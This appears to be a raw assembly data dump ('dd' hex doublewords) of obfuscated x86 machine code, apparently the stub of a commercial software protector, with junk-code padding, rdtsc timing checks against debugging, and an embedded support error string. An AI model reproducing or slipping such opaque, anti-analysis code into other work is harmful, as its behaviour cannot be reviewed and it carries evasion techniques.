dd 850F40FBh, 27h, 0A8B9B860h, 0BF0F0705h, 0BD8D61D0h
dd 9386E0Fh, 0CE9h, 877BDA00h, 0C9766C23h, 0A4192B45h
dd 1B2E982h, 83F80000h, 850F0DFBh, 36h, 17BD8DF9h, 6A09386Eh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 0C1BC351h, 9BE4E7D3h, 17AE9CAh, 8A0F0000h
dd 1, 0FB83F9F9h, 84850F01h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 686EC357h
dd 607ABC58h, 3802B3B8h, 0D98B6049h, 66606161h, 611293B9h
dd 6E1FBD8Dh, 6A0938h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 14911AC3h, 8E48B0A2h, 9E9FC0Bh
dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 6059C351h, 0D9A2E181h, 83615145h
dd 850F2AFBh, 9Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 0C35242h, 0D0A1282Eh, 0BC7121CDh, 0AE9FCh
dd 47A20000h, 7D3FD91Bh, 1C15EAC7h, 6E27BD8Dh, 14E90938h
dd 0E2000000h, 0C64A4020h, 4256DBA8h, 3E68A4CFh, 6DFD6B8Ah
dd 6075B587h, 830Fh, 8B0F0000h, 2, 0E9616160h, 74h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4C35040h, 0D33FCF03h
dd 2D70FEA8h, 96B16060h, 8E961h, 21630000h, 93CE38AFh
dd 83617391h, 850F27FBh, 34Ch, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 0A4C35343h, 0F84D46A6h, 6E2FBD8Dh
dd 820F0938h, 8, 28A0Fh, 61600000h, 6E3FBD89h, 66600938h
dd 0F52EEBBh, 681h, 8E0F00h, 61000000h, 6AC88C66h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 6B1DC357h, 11E9FEh, 0B8810000h, 3EC07292h, 91388892h
dd 0CB41D8AAh, 24E28507h, 118D0F03h, 0E9000000h, 0Ch, 6D12AA13h
dd 0A46D0876h, 0DEE5EC96h, 850FC00Ah, 1E9h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 9AC35646h, 0A934A9B3h
dd 7E9A4F7h, 80000000h, 74549A67h, 0B58DCC4Dh, 938750Eh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CDC35343h
dd 679BDFD5h, 8C0F5A8Fh, 0Bh, 0B8E18060h, 830Fh, 8B610000h
dd 3875CA85h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 96A35B72h, 0E960A421h, 0Eh, 104A72CCh
dd 75476C62h, 54725ECCh, 8B66A3ECh, 0F9261D6h, 1680h, 11E900h
dd 9B460000h, 54967C3Ch, 2DA5AD60h, 430D84E6h, 50816DFFh
dd 13E9h, 8B133600h, 4234AC90h, 48352AF5h, 3FE9C51Dh, 0DF3A754Dh
dd 0FE992h, 0FAFF0000h, 42712F27h, 0A351AA10h, 845DBE04h
dd 10FF572h, 60FE244Ch, 8DC296BBh, 61F98B2Fh, 0C283FC5Ah
dd 870F6024h, 2, 10E85F53h, 8F000000h, 494BB20Eh, 2C32F777h
dd 15E3498Fh, 8BC00DDBh, 0E9615ADEh, 14h, 38D80B4Ah, 804BAB41h
dd 556D4BF6h, 0C7AD5AAEh, 0E6689C5Ah, 0FC728966h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 43C35040h, 0C1A7731Fh
dd 666010CEh, 0E857DE81h, 0ABE78060h, 61616160h, 2728966h
dd 78E0Fh, 800F0000h, 1, 0E904CDFCh, 0Ch, 235D97DBh, 0B61EC182h
dd 22966262h, 0FFE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 78B0FD9h, 0F000000h, 188h
dd 840FF500h, 1Dh, 0E9616060h, 14h, 0CF145C9Fh, 0F0A2D446h
dd 3AB9CBD3h, 0E549398Bh, 0F598E6A9h, 0CA858B61h, 6A093875h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h
dd 42000000h, 8289C352h, 8C0FF81Fh, 1Bh, 0E99DB360h, 12h
dd 0BC32E7C1h, 104C3994h, 260B08F4h, 53800E8Dh, 0F961F74Ah
dd 750EB58Dh, 6A0938h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 75B0A5C3h, 2CD634Fh, 0E96057EDh
dd 14h, 0F2722432h, 0BAC803AFh, 64E10DE2h, 51537D33h, 0FC7718AAh
dd 7850F61h, 0F000000h, 18Fh, 858DFC00h, 9384C2Dh, 1860Fh
dd 0FFFC0000h, 6E9D0h, 695F0000h, 2DA00307h, 6E378589h
dd 66600938h, 61A172BEh, 18C0F61h, 0F5000000h, 6E37858Bh
dd 6A0938h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0D26A1BC3h, 6AC3A663h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0BB57C357h
dd 0E93B0B0Bh, 0Dh, 44F340BFh, 0CFED4A21h, 0D9D5CFF9h
dd 12E9E1h, 0FB250000h, 42DAACCEh, 6CEA4C2Bh, 13D580Fh
dd 0FCD4C8CDh, 0E3816060h, 19DAA7E6h, 9C47D881h, 83613BEBh
dd 3875CABDh, 850F0009h, 69h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 0EFC35141h, 60604852h, 8B0Fh
dd 6CB80000h, 611D6B05h, 7C1FD981h, 60614673h, 0D38B6660h
dd 66611FB3h, 6141B3BAh, 75CA85C7h, 13F0938h, 6A0001h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 50869AC3h, 30E9C9h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 489FBBC3h, 0D6305267h
dd 0E9E86448h, 6, 0B98BBA03h, 20CD627Ah, 0
dd 3774C00Bh, 8B0C708Dh, 386E3FBDh, 8B909h, 75A60000h
dd 0FA754922h, 8B30488Bh, 386E3B9Dh, 34583B09h, 0D38B157Fh
dd 304D26Bh, 89018BCAh, 386E3785h, 8B04EB09h, 61C5EB00h
dd 6E37858Bh, 6ACF0938h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 0BCBAC357h, 4FA7035Ch
dd 168B0F85h, 0F000000h, 1082h, 0BE900h, 482A0000h, 56E02E88h
dd 0F41DB1A9h, 0E8C08B67h, 0Bh, 3CF9CA4Fh, 0D9F132DAh
dd 0FDA8485h, 0E958D7B7h, 0Ch, 0BB066577h, 7E8F4B88h, 98C03C5Fh
dd 6A68C081h, 5E80000h, 0A1000000h, 0FCA75A28h, 378058BFh
dd 685F68h, 0F000000h, 0F95BFFBFh, 66180C8Bh, 81BFC2BEh
dd 197333C1h, 3820F1Eh, 53000000h, 0E9815EF5h, 716346B4h
dd 0A3CA8166h, 8AC18153h, 667C275Fh, 5180A6BFh, 5F15F781h
dd 48F43D6h, 1EBF6618h, 6800F48h, 81000000h, 7916BEE6h
dd 91EB8120h, 565D56F5h, 5890Fh, 0FEBA0000h, 5E5F727Ch
dd 0F58DC381h, 0F98B5D56h, 9688FB81h, 850FFFFFh, 1Eh, 4870Fh
dd 0BE660000h, 39E96C77h, 93000000h, 0D35AECBDh, 488BCB15h
dd 484B7303h, 9E84843h, 0C9000000h, 67A9443Bh, 90E018BDh
dd 8E9h, 0FA330B00h, 0ACF63B33h, 55E95AE2h, 0DEFFFFFFh
dd 89431738h, 66644E70h, 400E9h, 0
dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
dd 5600h, 4500h, 0
dd 13B3E900h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 858BEAC3h, 9352621h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0AEC35747h, 0F7C3DEA1h
dd 8B602A0Eh, 3506AD8Dh, 0CE909h, 0B8660000h, 0EF84C81h
dd 5C2AC205h, 0FC618931h, 4244439h, 0D4850Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 0C45185C3h, 0E1152109h, 8B0F599Ch, 0Ah, 5E9h, 0A4BFEC00h
dd 0BD835398h, 93523CDh, 93840F00h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 4AF1C352h, 688C385Dh, 60D8E3F6h, 0BE9h, 945E9600h, 239AB443h
dd 0D17684D1h, 3898858Dh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 84572BC3h, 978D792Ch
dd 51BD018Fh, 0F9093525h, 6AE0FFh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 0CD4A81C3h, 880F9783h
dd 6, 17A58589h, 858B0935h, 935057Dh, 24BDBD29h, 44390935h
dd 850F0424h, 43h, 0FDE8B60h, 0C761CFBFh, 387B4B85h, 109h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 47699FE2h, 0C820F68h, 0F000000h, 681h, 2DB58900h
dd 60093501h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0B3C35141h, 382373DBh, 890F13E2h, 15h, 10E9h, 3250C900h
dd 895DB57Fh, 2A05669Ah, 6A21E4A5h, 39E990h, 0E9600000h
dd 14h, 0FD135090h, 270D2085h, 6C59C8B8h, 0E7031C64h, 223DDD4h
dd 2E55B58Bh, 60610935h, 68B0Fh, 0B5890000h, 9350861h
dd 2C658533h, 610935h, 0B8000000h, 1, 7D618587h, 0C00B0938h
dd 0B5FFF675h, 935179Dh, 7B43858Fh, 206A0938h, 95FFFF6Ah
dd 9351EA1h, 80DBD83h, 74000935h, 0FF006A08h, 35082995h
dd 0F9BD8309h, 1093515h, 80680D74h, 6A000000h, 0A195FFFFh
dd 6A09351Eh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 0F94FC350h, 1870Fh, 6AF90000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 7D9DC357h, 0D4C7076Dh, 0C37F10FDh, 0EE9h
dd 0DBC43B00h, 0FD985EF2h, 0A3C06D0Ch, 0B896D125h, 0
dd 2DE19589h, 548B0935h, 14E92824h, 5000000h, 0C618759h
dd 410B5931h, 0D366D0B4h, 0E53CF2E1h, 89E33B2Eh, 35127D85h
dd 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 5F2D9410h, 188A0F15h, 0E9000000h, 13h, 11551EFEh
dd 8669AC13h, 0FAA690E5h, 0A569CD28h, 0F6EC261h, 0B80h
dd 8B666000h, 398D31D1h, 61093527h, 3CBEh, 35BD8900h, 3093511h
dd 0F242474h, 1482h, 0FE900h, 9F310000h, 0DE013CAEh, 27546BA3h
dd 0DF5E23D9h, 6AAD66AAh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 0E912C350h, 12h, 114B7A08h
dd 6E255EC9h, 0C767E313h, 0ADE4A1F4h, 8C0F23A1h, 6, 6398D89h
dd 44030935h, 7E92424h, 38000000h, 9271DF4Bh, 0F906731h
dd 0E82h, 0F525000h, 8Dh, 60310F00h, 50585A61h, 0DE9h
dd 52C44400h, 83E7481Fh, 0FEC8D7B1h, 6A90F990h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 3E2FC353h, 0BBB29E07h, 85896084h, 9352B2Dh, 4089BE66h
dd 598D3161h, 8B093503h, 890F7840h, 0Eh, 1D8D8960h, 89093532h
dd 35179995h, 0BD836109h, 9387B4Bh, 0EE850F00h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 9B51C352h, 0F50FCA1h, 0E86h, 60525000h, 0F310F61h
dd 8Eh, 89585A00h, 6A2404h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 448BD6C3h, 90FC2C24h
dd 0FE9h, 0DBCD1200h, 0AD757E85h, 58FF08A8h, 0DD31684Dh
dd 50506050h, 5A310F52h, 0E8605958h, 0Ch, 0A7B6DD39h, 8D2E1F48h
dd 0D3E94186h, 0CA8B665Fh, 6A906161h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 72D4C357h
dd 341821C2h, 8DF5F54Eh, 384CBF85h, 57006A09h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0EDF2B8E1h
dd 5EE64707h, 0FFF809A4h, 6870FD0h, 89000000h, 350A6DBDh
dd 24440309h, 408BF928h, 50006A18h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 0CA28B11Ah, 10E9h, 1FEC9000h
dd 95D0D9A2h, 82F18DDBh, 896B8677h, 8E0F4048h, 9, 419D8960h
dd 0F909351Bh, 47858961h, 0F09387Bh, 0C84h, 6810F00h, 89000000h
dd 35163DBDh, 6A5809h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 0DC9694C3h, 116CDAFh, 350D2D85h
dd 7850F09h, 0F000000h, 18Fh, 708BF900h, 79BD2978h, 83093501h
dd 9D311CC6h, 935061Dh, 50006A96h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 0E8803D51h, 29D90A7Dh
dd 3521C58Dh, 247C8109h, 24h, 0F7870F10h, 0F000000h, 684h
dd 499D3100h, 2909350Bh, 350121BDh, 52505009h, 11E9h, 7EF96C00h
dd 0D605DA81h, 74B5240Bh, 0C6F35A0Ch, 310F61E7h, 61605250h
dd 7E9310Fh, 4C000000h, 77A7BBB3h, 585A6715h, 489585Ah
dd 85858924h, 8B093511h, 0E9282444h, 13h, 708E9F51h, 34743D1Dh
dd 0B0AA398Ah, 67908CC0h, 50C05EAAh, 9E860h, 46E30000h
dd 0A80216A0h, 8BB98C77h, 0F7BE59F3h, 611D772Eh, 9240489h
dd 352DBD9Dh, 0BF858D09h, 6A09384Ch, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0DE42C353h
dd 12A3F7BEh, 820F4A8Ch, 16h, 11E9h, 84E9E800h, 1F32304Eh
dd 20751368h, 0D8E53E9Dh, 8960B142h, 3524F5B5h, 0D0FF6109h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 71C35343h
dd 6096952Bh, 2B89B58Bh, 9D8B0935h, 9352B89h, 24740361h
dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 6DDC5C67h, 63A8FE90h, 8B6660B4h, 20B866F7h
dd 316061A9h, 350D258Dh, 0BD8D6109h, 9350571h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 37C35747h, 0A58143CFh
dd 4ADD949h, 0C830Fh, 8F0F0000h, 6, 515BD29h, 820F0935h
dd 1Eh, 0EEE8160h, 0E872D9E9h, 10h, 2D95EA47h, 35A6F516h
dd 0ADDAD97Ch, 0BEBA6C47h, 89AD6159h, 3523A9B5h, 247C8109h
dd 24h, 37870F10h, 6A000001h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 0F758C351h, 0D51FD58Dh
dd 800F76A9h, 1, 525050FCh, 11E9h, 16506D00h, 1E094BF2h
dd 8D5399CEh, 19FD3F59h, 310F3BB6h, 61605250h, 6160310Fh
dd 585A585Ah, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 0A0C0C356h, 818BE200h
dd 60FFFD5Dh, 7E9h, 17B47E00h, 0C8CC9F5Fh, 6758D09h, 0E9610935h
dd 0Ah, 0A4822CD7h, 981707BDh, 448BC88Ch, 6A2824h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0CF16A7C3h, 14E950h, 32E80000h, 69137C67h, 696BA6B3h
dd 7074199Bh, 0F4951B03h, 489C77Fh, 1860F24h, 0F5000000h
dd 4CBF858Dh, 6A0938h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 0F692B4C3h, 0FF909EB5h, 50006AD0h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0A5DC9431h, 95895E66h, 9351029h, 2D118D29h, 44030935h
dd 0B5892424h, 9353055h, 0E9F560ABh, 11h, 0AE10C602h, 7B8484EFh
dd 9FA49419h, 0E9F098FBh, 0FA81617Ch, 10000h, 88D820Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 0FCFC05C3h, 0A99D8960h, 0F093525h, 283h
dd 615E5300h, 1D59BD8Dh, 6A0935h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0A82CA5C3h, 13E96571h
dd 7A000000h, 1279DBE1h, 5FADE21Ah, 0CD3BC095h, 0DF2D146Ah
dd 6AAD53E3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 0FD5AC357h, 89B7AA46h, 352D9D8Dh
dd 247C8109h, 24h, 27870F10h, 0FC000001h, 2D198D01h, 50900935h
dd 8B666052h, 616160C3h, 5250310Fh, 8D0Fh, 310F0000h, 8F0Fh
dd 585A0000h, 6050585Ah, 8E95250h, 0F5000000h, 14EFFE41h
dd 0F6E86D0h, 8A0F31h, 5A000000h, 0BB666058h, 5250944Ch
dd 585A310Fh, 0E9906161h, 0Eh, 5DC7485h, 2CB156B8h, 25C0DF14h
dd 850F6690h, 6, 2791BD89h, 448B0935h, 0F602824h, 68Dh
dd 0D9BD8B00h, 89093531h, 350B5185h, 50906109h, 60525052h
dd 60310F61h, 0F585A61h, 0B9666031h, 0FE98F5Ah, 0C5000000h
dd 90B95100h, 0B2F4022Ah, 3758B9C9h, 5A613ED7h, 52505058h
dd 0C3BE6660h, 615F5728h, 0E860310Fh, 5, 0F86C4D94h, 94BF5B2Eh
dd 615DB334h, 0E990585Ah, 0Bh, 67BDC4C5h, 813BF4F1h, 8D12236Dh
dd 384CBF85h, 0A9858909h, 0FF09350Ch, 57006AD0h, 3E8h
dd 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 1D3E859Bh, 36067ABh, 351DEDB5h
dd 0F5B58909h, 6109350Ah, 1BD5BD29h, 44030935h, 6A2424h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 0FE2825C3h, 8E9h, 1462200h, 0CED08C80h, 6E990FBh, 9E000000h
dd 0E9BA49A4h, 800F5066h, 12h, 0C840Fh, 7E90000h, 7000000h
dd 0F57198E2h, 0E9901027h, 0Ah, 0F9F901B1h, 0ED7F1A41h
dd 6AABF0F2h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 0DE56C352h, 74DA96EAh, 0B58936BBh
dd 9353259h, 0A79BD8Dh, 6A0935h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 0C833C1C3h, 0F9605E4Ah
dd 53006AADh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 8D8589F2h, 81093507h, 28247Ch, 0F100000h
dd 12687h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 359D297Ch, 0F09351Fh, 681h, 39BD8900h
dd 5009352Ch, 10810Fh, 0BE90000h, 81000000h, 7F0C6782h
dd 0F0BD4FEFh, 4896784h, 0EE924h, 0D1200000h, 0B6C9390Bh
dd 4B4A6FEBh, 3B4BF441h, 2C24448Bh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 93C35242h, 5406F4F6h, 0F1437F90h
dd 8D0FF8F8h, 0Ch, 6830Fh, 0BD890000h, 935305Dh, 0BE9h
dd 9D123A00h, 1D770E8h, 2CAAEDA7h, 8A576050h, 10E95AC3h
dd 6C000000h, 5FE8925Eh, 0BCCB066h, 805DE26Ah, 616EB1C8h
dd 60240489h, 0DE8h, 2E1B6600h, 35253F51h, 0F4B8C339h
dd 8B66EC10h, 8D615BC7h, 384CBF85h, 12E909h, 6FA20000h
dd 83C1A11Bh, 0B123BAEBh, 0EFA66F77h, 3737B8CCh, 6AD0FFh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 89BA08C3h, 35122D9Dh, 6DBD8909h, 3093522h, 6A282444h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 22BBC357h, 0D18B60CEh, 0DE9h, 0D60C3000h
dd 0E3AEBC0Ch, 0FE38BFD0h, 0F861E380h, 55006AABh, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 60EC9401h, 13E9h, 0AF682B00h, 0F8BE79h, 5FA454CAh, 0FC23D702h
dd 0D3D87CFEh, 6800Fh, 0C8810000h, 6C0DAC6Ah, 8DFF5E61h
dd 9387B47h, 7B47BD83h, 75000938h, 8DC0330Ah, 388C33B5h
dd 56E6FF09h, 247C81ADh, 28h, 500E7710h, 2C24448Bh, 0BF858D50h
dd 0FF09384Ch, 244403D0h, 0DF8B9728h, 7B43858Ah, 0C0840938h
dd 73A0474h, 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh
dd 0C033D18Bh, 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h
dd 73D8D166h, 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h
dd 754FD333h, 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h
dd 835E0F74h, 85FF04C6h, 935127Dh, 0FFFF5DE9h, 810F5EFFh
dd 1, 51006AF8h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 0E9CB338Ah, 14h, 2981DFDBh, 0A8AA4129h
dd 0E8CDA16Fh, 79C5AD80h, 0AC1CBFD4h, 0B8B0Fh, 6E90000h
dd 0F8000000h, 7F29A7Dh, 7D858B42h, 6A093512h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 0B3ABC350h, 3C326768h, 0DE906A5h, 1D000000h, 485BA135h
dd 9829FE73h, 8B9F74DEh, 6AE0D1F8h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F9A8C350h
dd 0A798503h, 6A0935h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 681BD8C3h, 0FC6B2B7Fh, 0E840Fh
dd 89600000h, 35164D95h, 800F09h, 61000000h, 230D8D89h
dd 0BE0935h, 0E9000000h, 8, 0B501554Eh, 2A6AA34Fh, 91B58996h
dd 66093501h, 57006AADh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 0C139F3A3h, 6A02E0h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0FED19DC3h
dd 9A26BEFFh, 0F6153CDh, 0C89h, 68A0F00h, 31000000h, 350CE985h
dd 81666009h, 0F49F2C0h, 361D2BFh, 35057185h, 52006A09h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 1BCDD2C4h, 0FE9CFh, 0FC920000h, 0E22BF8DFh, 8DC0B794h
dd 7544B778h, 0E86096ABh, 13h, 0FB623912h, 6712B7Dh, 0C16D20Fh
dd 1D4B467Ch, 0E9274C56h, 12h, 640AD6E2h, 0A2FAE0A2h, 7D1A4A6h
dd 2C16B27Bh, 6159C533h, 11860FADh, 0E9000000h, 0Ch, 0B0A6F665h
dd 7F75608Ch, 6718BA9Eh, 24247C81h, 10000000h, 0BE870Fh
dd 85890000h, 9352699h, 50525050h, 0F525052h, 0F585A31h
dd 0FE931h, 0DA830000h, 2393401Fh, 0E1D15618h, 0C844AC80h
dd 0F585AA5h, 0BE666031h, 12E93B5Ch, 83000000h, 877BDAD7h
dd 0C9766C23h, 0A4192B45h, 46676C82h, 585A613Ch, 0E9240489h
dd 0Fh, 0CCF348DBh, 0FDE3F1FCh, 749BFE55h, 8B93B41Ah, 29282444h
dd 35179195h, 0CE99009h, 7000000h, 0C9BAA9C1h, 13084C31h
dd 50A28B15h, 0FCBA6660h, 0F7BA6080h, 61272E13h, 860F9061h
dd 1, 850F60F8h, 2, 89516160h, 350DE595h, 8D615809h, 384CBF85h
dd 25B50109h, 0FF093501h, 0BE60FCD0h, 7B0865F0h, 61FFB70Fh
dd 24244403h, 8E9h, 0E5012500h, 6FFD6D1h, 244489FDh, 50006A1Ch
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0E9892A11h, 14h, 0DC1A8CC2h, 89407533h, 2C4EC847h, 58870A0Bh
dd 0E5653445h, 179D85C6h, 0C7000935h, 387D6185h, 9, 4B85C700h
dd 9387Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 0A132C353h, 7185893Ah, 0E909350Fh
dd 0Fh, 6E3C8D3Ch, 0B0F3ECC4h, 25875D13h, 0F9F9DA0Dh, 6660FC61h
dd 89ACFBBEh, 352635B5h, 8C26109h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0F01B990h
dd 682h, 69858900h, 8B093500h, 35057185h, 55B58909h, 4A09351Fh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4EC35242h
dd 0CF239854h, 0C1BD0960h, 6009352Ch, 60D88B66h, 6B616161h
dd 6A04D2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 967BEBC3h, 0C3C0CD89h, 0AE860h, 8040000h
dd 0AD3C7ABBh, 27C05149h, 0E858F78Bh, 0Bh, 8DBFCB99h, 3139E38Dh
dd 0B327665Ch, 0F615AA8h, 0F8Ch, 0AE900h, 0F1C60000h, 0A387B05h
dd 61A06736h, 6AC203h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 81F4E7C3h, 0DE970h, 0D27C0000h
dd 283D6975h, 0E60869E6h, 607C0449h, 0CE8h, 0EBDFA500h
dd 2FA62FC6h, 0D581D386h, 0C5B58BBBh, 5E093528h, 3225B589h
dd 96610935h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 0BAC35141h, 0B589FE62h, 93527F9h
dd 98589ADh, 81093528h, 24247Ch, 0F100000h, 0DA87h, 8589F900h
dd 93513E1h, 0A840F50h, 50000000h, 0F616052h, 5A616031h
dd 24048958h, 68C0Fh, 8D290000h, 935222Dh, 2824448Bh, 0DE9h
dd 3EC64800h, 0A0A8F5D8h, 93DD0458h, 50F8A8AEh, 66605250h
dd 0F61CE8Bh, 14E931h, 4A9E0000h, 816C2454h, 0C07292B8h
dd 3888923Eh, 41D8AA91h, 585A07CBh, 6A240489h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 0E40DC355h, 50E10109h, 0B5313F5Ah, 9351ABDh, 4CBF858Dh
dd 29F80938h, 3529619Dh, 6AD0FF09h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0E02AC352h
dd 0A08A25F2h, 0F4C296Ah, 118Eh, 0B830F00h, 0E9000000h
dd 6, 4A19404h, 0E9F9D714h, 0FFFFFD1Ch, 2B858DF8h, 6A093893h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 43B5C357h, 0E9525090h, 10h, 1585200Dh, 0E2A520EDh
dd 1044347Eh, 91B0C1DCh, 8C0F310Fh, 2, 585A6160h, 0E9525050h
dd 0Bh, 13564A30h, 39DACDABh, 0FF05E5Ah, 0E9525031h, 11h
dd 929218DFh, 0D7E19ED4h, 7CD518B8h, 0CFCABD79h, 50310F1Ch
dd 5A310F52h, 5A585A58h, 6A9058h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 0DB48D3C3h, 6BC0E5B6h
dd 35BD8973h, 0F09350Ch, 0C85h, 6860F00h, 0F000000h, 82h
dd 35FF6400h, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0E1C35646h
dd 213A2FEAh, 426043E0h, 9D896069h, 9352A5Dh, 0DB816660h
dd 61613ED1h, 6A24048Bh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 30E1C353h, 0B7A9F44Fh
dd 8D298B3Fh, 9352D3Dh, 1BF98589h, 6A0935h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 73D7D2C3h
